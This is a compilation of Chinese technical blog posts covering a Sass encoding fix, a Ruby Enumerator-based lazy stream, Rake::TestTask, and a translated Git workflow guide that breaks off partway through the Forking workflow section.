虽然给出来了报错的原因，但是尼玛，main.scss总共也没有315行啊，而且并没有中文注释什么的。查找一番之后才发现，这里编译器报错的位置不一定是scss中的位置，也有可能是你在scss中引用了其他库中含有中文字符。我在scss中引入了字体文件，文件中包含了中文字符


解决办法


1.在ruby的安装目录下找到engine.rb文件，目录格式如D:\ruby\Ruby21\lib\ruby\gems\2.1.0\gems\sass-3.4.15\lib\sass在文件中添加一行Encoding.default_external = Encoding.find('utf-8')
在require语句结束处，如：


require 'sass/media'
require 'sass/supports'
module Sass   
Encoding.default_external = Encoding.find('utf-8')




2.在scss文件的头部加一行@charset "utf-8"


 【分享】Web应用的缓存设计模式

作者：Mr_Jing

来源： 【分享】Web应用的缓存设计模式



                    
作者：@范凯robbin（前 JavaEye 网站创始人）


发表于 2013 年，但是内容不过时。最近在找缓存方面的最佳实践，无意中发现这篇文章，觉得帮助和启发很大，故分享一下。


传送门：http://robbinfan.com/blog/38/orm-cache-sumup


 用Ruby的Enumerator实现的流

作者：cichol

来源： 用Ruby的Enumerator实现的流



                    
啃SICP到第三章，想试试将无穷流应用在Ruby里，顺便研究一下Enumerator的用法。


Enumerator可以直接用下面的代码创建：


rubye = Enumerator.new do |yielder|
  yielder.yield 1
  yielder.yield 2
  loop do
    yielder.yield 3
  end
end

e.next # => 1
e.next # => 2
e.next # => 3
e.next # => 3



这段代码挺好懂，但也有些诡异。可以看到每次执行e.next会要求enumerator返回一个值，这个值就是proc里的代码yield出来的值。因为proc里有个死循环，所以这就是一个无穷流，会yield出1,2,3,3,3,3,3……的序列。


每次yield完毕之后proc的代码执行会暂停，等待下次调用e.next之后才会继续执行，这里不涉及返回什么的，就是单纯的控制跳转。


不过这和方法对块参数的yield很不一样，一般用yield是把控制权从方法移交到块里，块里yield又可以移交到哪里呢？


查了一些资料，这种yield和Fiber的yield很相似，但是Enumerator本质上是不是用Fiber构建的还不清楚。


rubyf = Fiber.new do
  Fiber.yield 1
  Fiber.yield 2
end

f.resume # => 1
f.resume # => 2



Fiber是一种可控的Thread，控制权可以通过yield和resume随意转移，yield之后Fiber就会被冻结，等待resume的唤醒。


Enumerator大概搞明白之后，就开始Stream类的构建。


rubyclass Stream
  def initialize &p
    @enumerator = Enumerator.new &p
    @evaluated = 0
    @values = []
  end

  def [] n
    if n >= @evaluated
      (@evaluated..n).each do |n|
        @evaluated += 1
        @values[n] = @enumerator.next
      end
    end
    @values[n]
  end

  def first n = 1
    n == 1 ? self[0] : (0..n-1).map{|i| self[i]}
  end

  # y << 等价于 y.yield
  def rest n = 1
    Stream.new do |y|
      loop do
        y << self[n]
        n += 1
      end
    end
  end

  def map &p
    Stream.new do |y|
      n = 0
      loop do
        y << p.call(self[n])
        n += 1
      end
    end
  end

  def accumulate &p
    Stream.new do |y|
      n = 0
      loop do
        y << (0..n).collect{|n| self[n]}.reduce(&p)
        n += 1
      end
    end
  end

end



Enumerator只是一段不断向前执行的代码，所以要把每次执行的结果保存起来，并提供索引访问的方法，才是一个真正的序列。而且缓存可以避免每次访问，Eumerator都要从头开始计算。


我把.next求出来的值存到一个数组里，并保存现在计算到第几项，如果访问已经计算过的项就从values数组中返回，否则就进行计算。这就实现了lazy evaluation（或者说Enumerator本身就是lazy的）。


之后还要提供一些处理流的方法，比如map，这些方法也应该返回lazy的流，所以方法体都是流的创建。


实际上这里有很多重复的代码，还有频繁地赋值，但是我还没想到该怎么去抽象。


试试按书上的做法去计算圆周率：


ruby# 根据π/4 = 1 - 1/3 + 1/5 - 1/7 + ...

# seq 是 1, -1/3, 1/5, -1/7, ... 的流
seq = Stream.new do |y|
  n = 1
  a = 1
  loop do
    y << a * (1.0 / n)
    n = n + 2
    a = -a
  end
end

#sum是seq n项和的流
sum = seq.accumulate{|s,x| s + x}
#把sum每项扩大4倍就是pi的流
pi = sum.map{|x| x*4}

pi.first(10) # => [4.0, 2.666666666666667, 3.466666666666667, 2.8952380952380956, 3.3396825396825403, 2.9760461760461765, 3.2837384837384844, 3.017071817071818, 3.2523659347188767, 3.0418396189294032]

#但是这个流收敛得很慢，用书上给的欧拉加速收敛的方法变形一遍
def eular_transform s
  Stream.new do |y|
    n = 1
    loop do
      s0, s1, s2 = s[n-1], s[n], s[n+1]
      y << s2 - ((s2 - s1) ** 2) / (s0 + -2 * s1 + s2)
      n += 1
    end
  end
end

(eular_transform pi).first(10) # => [3.166666666666667, 3.1333333333333337, 3.1452380952380956, 3.13968253968254, 3.1427128427128435, 3.1408813408813416, 3.142071817071818, 3.1412548236077655, 3.1418396189294033, 3.141406718496503]

#快了不少，对变形后的流还可以不断地应用变形，实现更快的加速
def accelerate s
  Stream.new do |y|
    loop do
      s = eular_transform s
      y << s.first
    end
  end
end

(accelerate pi).first(10) # => [3.166666666666667, 3.142105263157895, 3.141599357319005, 3.1415927140337785, 3.1415926539752927, 3.1415926535911765, 3.141592653589778, 3.1415926535897953, 3.141592653589795, NaN]



Ruby实现计算出的结果和Scheme是完全一致的，但是Ruby的实现总是有点怪，因为Scheme里的流本质上是链表，而我做出来的是数组。这样就没办法递归地去创建流，比如下面这样：


lisp;ones是生成1, 1, 1, ...的流，把首项设为1，把下一项指向自身，这样访问下一项就是访问自身的首项

(define ones
  (cons-stream 1 ones))



不过流的本质就是迭代，scheme是用一个proc去迭代，ruby是用loop去迭代，ruby把Enumerator写成一段迭代的代码，还是很酷的。


实际上单纯用lambda也是可以实现Enumerator的构造的，只是没有Fiber那样magic：


rubyclass Enum
  def initialize &p
    @enumerator = p.call
  end

  def next
    @enumerator.call
  end
end

e = Enum.new do
  n = 0
  ->{ n += 1 }
end

p e.next  # => 1



联动：
[译] Ruby 2.0 Works Hard So You Can Be Lazy
Why do we need fibers


 Rake::TestTask 介绍

作者：OneAPM蓝海讯通

来源： Rake::TestTask 介绍



                    
通常我们创建一个新的项目的时候，会建立一个test或者spec的文件夹来存放测试的文件，运行这些测试需要单独的命令，比如在项目目录下执行rspec .或者ruby test.rb等等，这些测试的工具中大多也都提供了更方便的方式来运行这些测试，但是如果你喜欢用Rake的话，那就有另外一个选择Rake::TestTask。


先上代码：


require "rake/testtask"

Rake::TestTask.new do |t|
  t.libs << "test"
  t.pattern = "test/*_test.rb"
  t.verbose = true
end



将以上代码保存或添加到项目目录中的Rakefile，然后在这个目录下执行rake test，你就可以看到如下输出（这里我用的测试框架是Minitest）：


/home/lizhe/.rvm/rubies/ruby-2.2.2/bin/ruby -I"lib:test"  "/home/lizhe/.rvm/rubies/ruby-2.2.2/lib/ruby/2.2.0/rake/rake_test_loader.rb" "test/person_test.rb"
Run options: --seed 535

# Running:

.

Finished in 0.000558s, 1793.5482 runs/s, 1793.5482 assertions/s.

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips



如果去掉最上面代码中的t.verbose = true的话：


require "rake/testtask"

Rake::TestTask.new do |t|
  t.libs << "test"
  t.pattern = "test/*_test.rb"
end



则输出结果就不会显示执行的 斜体文字 ruby 命令，如下：


Run options: --seed 17527

# Running:

.

Finished in 0.001629s, 613.9689 runs/s, 613.9689 assertions/s.

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips



这里再介绍一下Rake::TestTask的配置选项：



	
libs会被添加到$LOAD_PATH中；

	
pattern 测试文件的名称匹配，还有另外一个叫做test_files，这两个使用哪一个都可以，如果同时使用的话，会合并两者；

	
verbose 输出这个Rake::TestTask执行的具体 Ruby 命令；

	
options 指定给测试框架的参数，类型为数组，也可以通过传入TESTOPTS命令行参数达到相同的目的；

	
ruby_opts 执行 ruby 命令时的参数，类型为数组，比如可以在指定为-rtesthelper，避免每个测试文件重复require "test_helper"；

	
name Rake Task的名称，默认是test；



还有一点，在我们执行rake test的时候，是可以传入一些参数的，比如我执行执行test/dummy_test.rb这个测试，那么就可以指定TEST参数：


rake test TEST=test/dummy_test.rb



还可以通过TESTOPTS给你使用的测试框架传入参数，比如Minitest有-v和-p两个参数，那么就可以这样传进去：


rake test TESTOPTS="-vp"



参考链接：http://ruby-doc.org/stdlib-2.2.2/libdoc/rake/rdoc/Rake/TestTask.html


本文由 OneAPM 工程师李哲原创文章 ，想阅读更多技术文章，请访问 OneAPM 官方技术博客。


2015 优秀文章 - Git


 深入理解学习Git工作流（git-workflow-tutorial）

作者：xirong

来源： 深入理解学习Git工作流（git-workflow-tutorial）



                    
个人在学习git工作流的过程中，从原有的 SVN 模式很难完全理解git的协作模式，直到有一天我看到了下面的文章，好多遗留在心中的困惑迎刃而解，于是我将这部分资料进行整理放到了github上，欢迎star查看最新更新内容， https://github.com/xirong/my-git/blob/master/git-workflow-tutorial.md



	我们以使用SVN的工作流来使用git有什么不妥？

	git 方便的branch在哪里，团队多人如何协作？冲突了怎么办？如何进行发布控制？

	经典的master-发布、develop-主开发、hotfix-不过修复如何避免代码不经过验证上线？

	如何在github上面与他人一起协作，star-fork-pull request是怎样的流程？



我个人很感激这篇文章，所以进行了整理，希望能帮到更多的人。整篇文章由 xirong 整理自 oldratlee 的github，方便统一的学习回顾，在此感谢下面两位的贡献。


原文链接：Git Workflows and Tutorials

简体中文：由 oldratlee 翻译在 github 上 git-workflows-and-tutorials
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一、译序


工作流其实不是一个初级主题，背后的本质问题其实是有效的项目流程管理和高效的开发协同约定，不仅是Git或SVN等VCS或SCM工具的使用。


这篇指南以大家在SVN中已经广为熟悉使用的集中式工作流作为起点，循序渐进地演进到其它高效的分布式工作流，还介绍了如何配合使用便利的Pull Request功能，体系地讲解了各种工作流的应用。


行文中实践原则和操作示例并重，对于Git的资深玩家可以梳理思考提升，而新接触的同学，也可以跟着step-by-step操作来操练学习并在实际工作中上手使用。


关于Git工作流主题，网上体系的中文资料不多，主要是零散的操作说明，希望这篇文章能让你更深入理解并在工作中灵活有效地使用起来。


PS：


文中Pull Request的介绍用的是Bitbucket代码托管服务，由于和GitHub基本一样，如果你用的是GitHub（我自己也主要使用GitHub托管代码），不影响理解和操作。


PPS：


本指南循序渐进地讲解工作流，如果Git用的不多，可以从前面的讲的工作流开始操练。操作过程去感受指南的讲解：解决什么问题、如何解决问题，这样理解就深了，也方便活用。


Gitflow工作流是经典模型，体现了工作流的经验和精髓。随着项目过程复杂化，会感受到这个工作流中深思熟虑和威力！


Forking工作流是协作的（GitHub风格）可以先看看Github的Help：Fork A Repo和Using pull requests 。照着操作，给一个Github项目贡献你的提交，有操作经验再看指南容易意会。指南中给了自己实现Fork的方法：Fork就是服务端的克隆。在指南的操练中使用代码托管服务（如GitHub、Bitbucket），可以点一下按钮就让开发者完成仓库的fork操作。


:see_no_evil: 自己理解粗浅，翻译中不足和不对之处，欢迎建议（提交Issue）和指正（Fork后提交代码）！


二、Git工作流指南


:point_right: 工作流有各式各样的用法，但也正因此使得在实际工作中如何上手使用变得很头大。这篇指南通过总览公司团队中最常用的几种Git工作流让大家可以上手使用。


在阅读的过程中请记住，本文中的几种工作流是作为方案指导而不是条例规定。在展示了各种工作流可能的用法后，你可以从不同的工作流中挑选或揉合出一个满足你自己需求的工作流。





2.1 集中式工作流


如果你的开发团队成员已经很熟悉Subversion，集中式工作流让你无需去适应一个全新流程就可以体验Git带来的收益。这个工作流也可以作为向更Git风格工作流迁移的友好过渡。



转到分布式版本控制系统看起来像个令人生畏的任务，但不改变已用的工作流你也可以用上Git带来的收益。团队可以用和Subversion完全不变的方式来开发项目。


但使用Git加强开发的工作流，Git有相比SVN的几个优势。

首先，每个开发可以有属于自己的整个工程的本地拷贝。隔离的环境让各个开发者的工作和项目的其他部分修改独立开来 ——

即自由地提交到自己的本地仓库，先完全忽略上游的开发，直到方便的时候再把修改反馈上去。


其次，Git提供了强壮的分支和合并模型。不像SVN，Git的分支设计成可以做为一种用来在仓库之间集成代码和分享修改的『失败安全』的机制。


2.1.1 工作方式


像Subversion一样，集中式工作流以中央仓库作为项目所有修改的单点实体。相比SVN缺省的开发分支trunk，Git叫做master，所有修改提交到这个分支上。本工作流只用到master这一个分支。


开发者开始先克隆中央仓库。在自己的项目拷贝中像SVN一样的编辑文件和提交修改；但修改是存在本地的，和中央仓库是完全隔离的。开发者可以把和上游的同步延后到一个方便时间点。


要发布修改到正式项目中，开发者要把本地master分支的修改『推』到中央仓库中。这相当于svn commit操作，但push操作会把所有还不在中央仓库的本地提交都推上去。





2.1.2 冲突解决


中央仓库代表了正式项目，所以提交历史应该被尊重且是稳定不变的。如果开发者本地的提交历史和中央仓库有分歧，Git会拒绝push提交否则会覆盖已经在中央库的正式提交。





在开发者提交自己功能修改到中央库前，需要先fetch在中央库的新增提交，rebase自己提交到中央库提交历史之上。

这样做的意思是在说，『我要把自己的修改加到别人已经完成的修改上。』最终的结果是一个完美的线性历史，就像以前的SVN的工作流中一样。


如果本地修改和上游提交有冲突，Git会暂停rebase过程，给你手动解决冲突的机会。Git解决合并冲突，用和生成提交一样的git status和git add命令，很一致方便。还有一点，如果解决冲突时遇到麻烦，Git可以很简单中止整个rebase操作，重来一次（或者让别人来帮助解决）。


2.1.3 示例


让我们一起逐步分解来看看一个常见的小团队如何用这个工作流来协作的。有两个开发者小明和小红，看他们是如何开发自己的功能并提交到中央仓库上的。


有人先初始化好中央仓库





第一步，有人在服务器上创建好中央仓库。如果是新项目，你可以初始化一个空仓库；否则你要导入已有的Git或SVN仓库。


中央仓库应该是个裸仓库（bare repository），即没有工作目录（working directory）的仓库。可以用下面的命令创建：


bashssh user@host
git init --bare /path/to/repo.git



确保写上有效的user（SSH的用户名），host（服务器的域名或IP地址），/path/to/repo.git（你想存放仓库的位置）。

注意，为了表示是一个裸仓库，按照约定加上.git扩展名到仓库名上。


所有人克隆中央仓库





下一步，各个开发者创建整个项目的本地拷贝。通过git clone命令完成：


bashgit clone ssh://user@host/path/to/repo.git



基于你后续会持续和克隆的仓库做交互的假设，克隆仓库时Git会自动添加远程别名origin指回『父』仓库。


小明开发功能





在小明的本地仓库中，他使用标准的Git过程开发功能：编辑、暂存（Stage）和提交。

如果你不熟悉暂存区（Staging Area），这里说明一下：暂存区的用来准备一个提交，但可以不用把工作目录中所有的修改内容都包含进来。

这样你可以创建一个高度聚焦的提交，尽管你本地修改很多内容。


bashgit status # 查看本地仓库的修改状态
git add # 暂存文件
git commit # 提交文件



请记住，因为这些命令生成的是本地提交，小明可以按自己需求反复操作多次，而不用担心中央仓库上有了什么操作。

对需要多个更简单更原子分块的大功能，这个做法是很有用的。


小红开发功能





与此同时，小红在自己的本地仓库中用相同的编辑、暂存和提交过程开发功能。和小明一样，她也不关心中央仓库有没有新提交；

当然更不关心小明在他的本地仓库中的操作，因为所有本地仓库都是私有的。


小明发布功能





一旦小明完成了他的功能开发，会发布他的本地提交到中央仓库中，这样其它团队成员可以看到他的修改。他可以用下面的git push命令：


bashgit push origin master



注意，origin是在小明克隆仓库时Git创建的远程中央仓库别名。master参数告诉Git推送的分支。

由于中央仓库自从小明克隆以来还没有被更新过，所以push操作不会有冲突，成功完成。


小红试着发布功能





一起来看看在小明发布修改后，小红push修改会怎么样？她使用完全一样的push命令：


bashgit push origin master



但她的本地历史已经和中央仓库有分岐了，Git拒绝操作并给出下面很长的出错消息：


error: failed to push some refs to '/path/to/repo.git'
hint: Updates were rejected because the tip of your current branch is behind
hint: its remote counterpart. Merge the remote changes (e.g. 'git pull')
hint: before pushing again.
hint: See the 'Note about fast-forwards' in 'git push --help' for details.



这避免了小红覆写正式的提交。她要先pull小明的更新到她的本地仓库合并上她的本地修改后，再重试。


小红在小明的提交之上rebase






小红用git pull合并上游的修改到自己的仓库中。

这条命令类似svn update——拉取所有上游提交命令到小红的本地仓库，并尝试和她的本地修改合并：


bashgit pull --rebase origin master



--rebase选项告诉Git把小红的提交移到同步了中央仓库修改后的master分支的顶部，如下图所示：





如果你忘加了这个选项，pull操作仍然可以完成，但每次pull操作要同步中央仓库中别人修改时，提交历史会以一个多余的『合并提交』结尾。

对于集中式工作流，最好是使用rebase而不是生成一个合并提交。


小红解决合并冲突





rebase操作过程是把本地提交一次一个地迁移到更新了的中央仓库master分支之上。

这意味着可能要解决在迁移某个提交时出现的合并冲突，而不是解决包含了所有提交的大型合并时所出现的冲突。

这样的方式让你尽可能保持每个提交的聚焦和项目历史的整洁。反过来，简化了哪里引入Bug的分析，如果有必要，回滚修改也可以做到对项目影响最小。


如果小红和小明的功能是相关的，不大可能在rebase过程中有冲突。如果有，Git在合并有冲突的提交处暂停rebase过程，输出下面的信息并带上相关的指令：


CONFLICT (content): Merge conflict in <some-file>






Git很赞的一点是，任何人可以解决他自己的冲突。在这个例子中，小红可以简单的运行git status命令来查看哪里有问题。

冲突文件列在Unmerged paths（未合并路径）一节中：


# Unmerged paths:
# (use "git reset HEAD <some-file>..." to unstage)
# (use "git add/rm <some-file>..." as appropriate to mark resolution)
#
# both modified: <some-file>



接着小红编辑这些文件。修改完成后，用老套路暂存这些文件，并让git rebase完成剩下的事：


bashgit add <some-file> 
git rebase --continue



要做的就这些了。Git会继续一个一个地合并后面的提交，如其它的提交有冲突就重复这个过程。


如果你碰到了冲突，但发现搞不定，不要惊慌。只要执行下面这条命令，就可以回到你执行git pull --rebase命令前的样子：


bashgit rebase --abort



小红成功发布功能





小红完成和中央仓库的同步后，就能成功发布她的修改了：


bashgit push origin master



如你所见，仅使用几个Git命令我们就可以模拟出传统Subversion开发环境。对于要从SVN迁移过来的团队来说这太好了，但没有发挥出Git分布式本质的优势。


如果你的团队适应了集中式工作流，但想要更流畅的协作效果，绝对值得探索一下 功能分支工作流 的收益。

通过为一个功能分配一个专门的分支，能够做到一个新增功能集成到正式项目之前对新功能进行深入讨论。




2.2 功能分支工作流


功能分支工作流以集中式工作流为基础，不同的是为各个新功能分配一个专门的分支来开发。这样可以在把新功能集成到正式项目前，用Pull Requests的方式讨论变更。








一旦你玩转了集中式工作流，在开发过程中可以很简单地加上功能分支，用来鼓励开发者之间协作和简化交流。


功能分支工作流背后的核心思路是所有的功能开发应该在一个专门的分支，而不是在master分支上。

这个隔离可以方便多个开发者在各自的功能上开发而不会弄乱主干代码。

另外，也保证了master分支的代码一定不会是有问题的，极大有利于集成环境。


功能开发隔离也让pull requests工作流成功可能，
pull requests工作流能为每个分支发起一个讨论，在分支合入正式项目之前，给其它开发者有表示赞同的机会。

另外，如果你在功能开发中有问题卡住了，可以开一个pull requests来向同学们征求建议。

这些做法的重点就是，pull requests让团队成员之间互相评论工作变成非常方便！


2.2.1 工作方式


功能分支工作流仍然用中央仓库，并且master分支还是代表了正式项目的历史。

但不是直接提交本地历史到各自的本地master分支，开发者每次在开始新功能前先创建一个新分支。

功能分支应该有个有描述性的名字，比如animated-menu-items或issue-#1061，这样可以让分支有个清楚且高聚焦的用途。


在master分支和功能分支之间，Git是没有技术上的区别，所以开发者可以用和集中式工作流中完全一样的方式编辑、暂存和提交修改到功能分支上。


另外，功能分支也可以（且应该）push到中央仓库中。这样不修改正式代码就可以和其它开发者分享提交的功能。

由于master仅有的一个『特殊』分支，在中央仓库上存多个功能分支不会有任何问题。当然，这样做也可以很方便地备份各自的本地提交。


2.2.2 Pull Requests



功能分支除了可以隔离功能的开发，也使得通过Pull Requests讨论变更成为可能。

一旦某个开发完成一个功能，不是立即合并到master，而是push到中央仓库的功能分支上并发起一个Pull Request请求去合并修改到master。

在修改成为主干代码前，这让其它的开发者有机会先去Review变更。


Code Review是Pull Requests的一个重要的收益，但Pull Requests目的是讨论代码一个通用方式。

你可以把Pull Requests作为专门给某个分支的讨论。这意味着可以在更早的开发过程中就可以进行Code Review。

比如，一个开发者开发功能需要帮助时，要做的就是发起一个Pull Request，相关的人就会自动收到通知，在相关的提交旁边能看到需要帮助解决的问题。


一旦Pull Request被接受了，发布功能要做的就和集中式工作流就很像了。

首先，确定本地的master分支和上游的master分支是同步的。然后合并功能分支到本地master分支并push已经更新的本地master分支到中央仓库。


仓库管理的产品解决方案像Bitbucket或Stash，可以良好地支持Pull Requests。可以看看Stash的Pull Requests文档。


2.2.3 示例


下面的示例演示了如何把Pull Requests作为Code Review的方式，但注意Pull Requests可以用于很多其它的目的。


小红开始开发一个新功能





在开始开发功能前，小红需要一个独立的分支。使用下面的命令新建一个分支：


bashgit checkout -b marys-feature master



这个命令检出一个基于master名为marys-feature的分支，Git的-b选项表示如果分支还不存在则新建分支。

这个新分支上，小红按老套路编辑、暂存和提交修改，按需要提交以实现功能：


bashgit status
git add <some-file>
git commit



小红要去吃个午饭





早上小红为新功能添加一些提交。

去吃午饭前，push功能分支到中央仓库是很好的做法，这样可以方便地备份，如果和其它开发协作，也让他们可以看到小红的提交。


bashgit push -u origin marys-feature



这条命令push marys-feature分支到中央仓库（origin），-u选项设置本地分支去跟踪远程对应的分支。

设置好跟踪的分支后，小红就可以使用git push命令省去指定推送分支的参数。


小红完成功能开发





小红吃完午饭回来，完成整个功能的开发。在合并到master之前，

她发起一个Pull Request让团队的其它人知道功能已经完成。但首先，她要确认中央仓库中已经有她最近的提交：


bashgit push



然后，在她的Git GUI客户端中发起Pull Request，请求合并marys-feature到master，团队成员会自动收到通知。
Pull Request很酷的是可以在相关的提交旁边显示评注，所以你可以很对某个变更集提问。


小黑收到Pull Request






小黑收到了Pull Request后会查看marys-feature的修改。决定在合并到正式项目前是否要做些修改，且通过Pull Request和小红来回地讨论。


小红再做修改





要再做修改，小红用和功能第一个迭代完全一样的过程。编辑、暂存、提交并push更新到中央仓库。小红这些活动都会显示在Pull Request上，小黑可以断续做评注。


如果小黑有需要，也可以把marys-feature分支拉到本地，自己来修改，他加的提交也会一样显示在Pull Request上。


小红发布她的功能





一旦小黑可以的接受Pull Request，就可以合并功能到稳定项目代码中（可以由小黑或是小红来做这个操作）：


bashgit checkout master
git pull
git pull origin marys-feature
git push



无论谁来做合并，首先要检出master分支并确认是它是最新的。然后执行git pull origin marys-feature合并marys-feature分支到和已经和远程一致的本地master分支。

你可以使用简单git merge marys-feature命令，但前面的命令可以保证总是最新的新功能分支。

最后更新的master分支要重新push回到origin。


这个过程常常会生成一个合并提交。有些开发者喜欢有合并提交，因为它像一个新功能和原来代码基线的连通符。

但如果你偏爱线性的提交历史，可以在执行合并时rebase新功能到master分支的顶部，这样生成一个快进（fast-forward）的合并。


一些GUI客户端可以只要点一下『接受』按钮执行好上面的命令来自动化Pull Request接受过程。

如果你的不能这样，至少在功能合并到master分支后能自动关闭Pull Request。


与此同时，小明在做和小红一样的事


当小红和小黑在marys-feature上工作并讨论她的Pull Request的时候，小明在自己的功能分支上做完全一样的事。


通过隔离功能到独立的分支上，每个人都可以自主的工作，当然必要的时候在开发者之间分享变更还是比较繁琐的。


到了这里，但愿你发现了功能分支可以很直接地在 集中式工作流 的仅有的master分支上完成多功能的开发。

另外，功能分支还使用了Pull Request，使得可以在你的版本控制GUI客户端中讨论某个提交。


功能分支工作流是开发项目异常灵活的方式。问题是，有时候太灵活了。对于大型团队，常常需要给不同分支分配一个更具体的角色。
Gitflow工作流是管理功能开发、发布准备和维护的常用模式。




2.3 Gitflow工作流


Gitflow工作流通过为功能开发、发布准备和维护分配独立的分支，让发布迭代过程更流畅。严格的分支模型也为大型项目提供了一些非常必要的结构。





这节介绍的Gitflow工作流借鉴自在nvie的Vincent Driessen。


Gitflow工作流定义了一个围绕项目发布的严格分支模型。虽然比功能分支工作流复杂几分，但提供了用于一个健壮的用于管理大型项目的框架。


Gitflow工作流没有用超出功能分支工作流的概念和命令，而是为不同的分支分配一个很明确的角色，并定义分支之间如何和什么时候进行交互。

除了使用功能分支，在做准备、维护和记录发布也使用各自的分支。

当然你可以用上功能分支工作流所有的好处：Pull Requests、隔离实验性开发和更高效的协作。


2.3.1 工作方式


Gitflow工作流仍然用中央仓库作为所有开发者的交互中心。和其它的工作流一样，开发者在本地工作并push分支到要中央仓库中。


2.3.2 历史分支


相对使用仅有的一个master分支，Gitflow工作流使用2个分支来记录项目的历史。master分支存储了正式发布的历史，而develop分支作为功能的集成分支。

这样也方便master分支上的所有提交分配一个版本号。





剩下要说明的问题围绕着这2个分支的区别展开。


2.3.3 功能分支


每个新功能位于一个自己的分支，这样可以push到中央仓库以备份和协作。

但功能分支不是从master分支上拉出新分支，而是使用develop分支作为父分支。当新功能完成时，合并回develop分支。

新功能提交应该从不直接与master分支交互。





注意，从各种含义和目的上来看，功能分支加上develop分支就是功能分支工作流的用法。但Gitflow工作流没有在这里止步。


2.3.4 发布分支





一旦develop分支上有了做一次发布（或者说快到了既定的发布日）的足够功能，就从develop分支上fork一个发布分支。

新建的分支用于开始发布循环，所以从这个时间点开始之后新的功能不能再加到这个分支上——

这个分支只应该做Bug修复、文档生成和其它面向发布任务。

一旦对外发布的工作都完成了，发布分支合并到master分支并分配一个版本号打好Tag。

另外，这些从新建发布分支以来的做的修改要合并回develop分支。


使用一个用于发布准备的专门分支，使得一个团队可以在完善当前的发布版本的同时，另一个团队可以继续开发下个版本的功能。

这也打造定义良好的开发阶段（比如，可以很轻松地说，『这周我们要做准备发布版本4.0』，并且在仓库的目录结构中可以实际看到）。


常用的分支约定：


用于新建发布分支的分支: develop
用于合并的分支: master
分支命名: release-* 或 release/*



2.3.5 维护分支





维护分支或说是热修复（hotfix）分支用于生成快速给产品发布版本（production releases）打补丁，这是唯一可以直接从master分支fork出来的分支。

修复完成，修改应该马上合并回master分支和develop分支（当前的发布分支），master分支应该用新的版本号打好Tag。


为Bug修复使用专门分支，让团队可以处理掉问题而不用打断其它工作或是等待下一个发布循环。

你可以把维护分支想成是一个直接在master分支上处理的临时发布。


2.3.6 示例


下面的示例演示本工作流如何用于管理单个发布循环。假设你已经创建了一个中央仓库。


创建开发分支





第一步为master分支配套一个develop分支。简单来做可以本地创建一个空的develop分支，push到服务器上：


bashgit branch develop
git push -u origin develop



以后这个分支将会包含了项目的全部历史，而master分支将只包含了部分历史。其它开发者这时应该克隆中央仓库，建好develop分支的跟踪分支：


bashgit clone ssh://user@host/path/to/repo.git
git checkout -b develop origin/develop



现在每个开发都有了这些历史分支的本地拷贝。


小红和小明开始开发新功能





这个示例中，小红和小明开始各自的功能开发。他们需要为各自的功能创建相应的分支。新分支不是基于master分支，而是应该基于develop分支：


bashgit checkout -b some-feature develop



他们用老套路添加提交到各自功能分支上：编辑、暂存、提交：


bashgit status
git add <some-file>
git commit



小红完成功能开发





添加了提交后，小红觉得她的功能OK了。如果团队使用Pull Requests，这时候可以发起一个用于合并到develop分支。

否则她可以直接合并到她本地的develop分支后push到中央仓库：


bashgit pull origin develop
git checkout develop
git merge some-feature
git push
git branch -d some-feature



第一条命令在合并功能前确保develop分支是最新的。注意，功能决不应该直接合并到master分支。

冲突解决方法和集中式工作流一样。


小红开始准备发布





这个时候小明正在实现他的功能，小红开始准备她的第一个项目正式发布。

像功能开发一样，她用一个新的分支来做发布准备。这一步也确定了发布的版本号：


bashgit checkout -b release-0.1 develop



这个分支是清理发布、执行所有测试、更新文档和其它为下个发布做准备操作的地方，像是一个专门用于改善发布的功能分支。


只要小红创建这个分支并push到中央仓库，这个发布就是功能冻结的。任何不在develop分支中的新功能都推到下个发布循环中。


小红完成发布





一旦准备好了对外发布，小红合并修改到master分支和develop分支上，删除发布分支。合并回develop分支很重要，因为在发布分支中已经提交的更新需要在后面的新功能中也要是可用的。

另外，如果小红的团队要求Code Review，这是一个发起Pull Request的理想时机。


bashgit checkout master
git merge release-0.1
git push
git checkout develop
git merge release-0.1
git push
git branch -d release-0.1



发布分支是作为功能开发（develop分支）和对外发布（master分支）间的缓冲。只要有合并到master分支，就应该打好Tag以方便跟踪。


bashgit tag -a 0.1 -m "Initial public release" master
git push --tags



Git有提供各种勾子（hook），即仓库有事件发生时触发执行的脚本。

可以配置一个勾子，在你push中央仓库的master分支时，自动构建好对外发布。


最终用户发现Bug






对外发布后，小红回去和小明一起做下个发布的新功能开发，直到有最终用户开了一个Ticket抱怨当前版本的一个Bug。

为了处理Bug，小红（或小明）从master分支上拉出了一个维护分支，提交修改以解决问题，然后直接合并回master分支：


bashgit checkout -b issue-#001 master
# Fix the bug
git checkout master
git merge issue-#001
git push



就像发布分支，维护分支中新加这些重要修改需要包含到develop分支中，所以小红要执行一个合并操作。然后就可以安全地删除这个分支了：


bashgit checkout develop
git merge issue-#001
git push
git branch -d issue-#001



到了这里，但愿你对集中式工作流、功能分支工作流和Gitflow工作流已经感觉很舒适了。

你应该也牢固的掌握了本地仓库的潜能，push/pull模式和Git健壮的分支和合并模型。


记住，这里演示的工作流只是可能用法的例子，而不是在实际工作中使用Git不可违逆的条例。

所以不要畏惧按自己需要对工作流的用法做取舍。不变的目标就是让Git为你所用。




2.4 Forking工作流


Forking工作流是分布式工作流，充分利用了Git在分支和克隆上的优势。可以安全可靠地管理大团队的开发者（developer），并能接受不信任贡献者（contributor）的提交。


Forking工作流和前面讨论的几种工作流有根本的不同，这种工作流不是使用单个服务端仓库作为『中央』代码基线，而让各个开发者都有一个服务端仓库。这意味着各个代码贡献者有2个Git仓库而不是1个：一个本地私有的，另一个服务端公开的。





Forking工作流的一个主要优势是，贡献的代码可以被集成，而不需要所有人都能push代码到仅有的中央仓库中。

开发者push到自己的服务端仓库，而只有项目维护者才能push到正式仓库。

这样项目维护者可以接受任何开发者的提交，但无需给他正式代码库的写权限。


效果就是一个分布式的工作流，能为大型、自发性的团队（包括了不受信的第三方）提供灵活的方式来安全的协作。

也让这个工作流成为开源项目的理想工作流。


2.4.1 工作方式


和其它的Git工作流一样，Forking工作流要先有一个公开的正式仓库存储在服务器上。

但一个新的开发者想要在项目上工作时，不是直接从正式仓库克隆，而是fork正式项目在服务器上创建一个拷贝。


这个仓库拷贝作为他个人公开仓库 ——

其它开发者不允许push到这个仓库，但可以pull到修改（后面我们很快就会看这点很重要）。

在创建了自己服务端拷贝之后，和之前的工作流一样，开发者执行git clone命令克隆仓库到本地机器上，作为私有的开发环境。


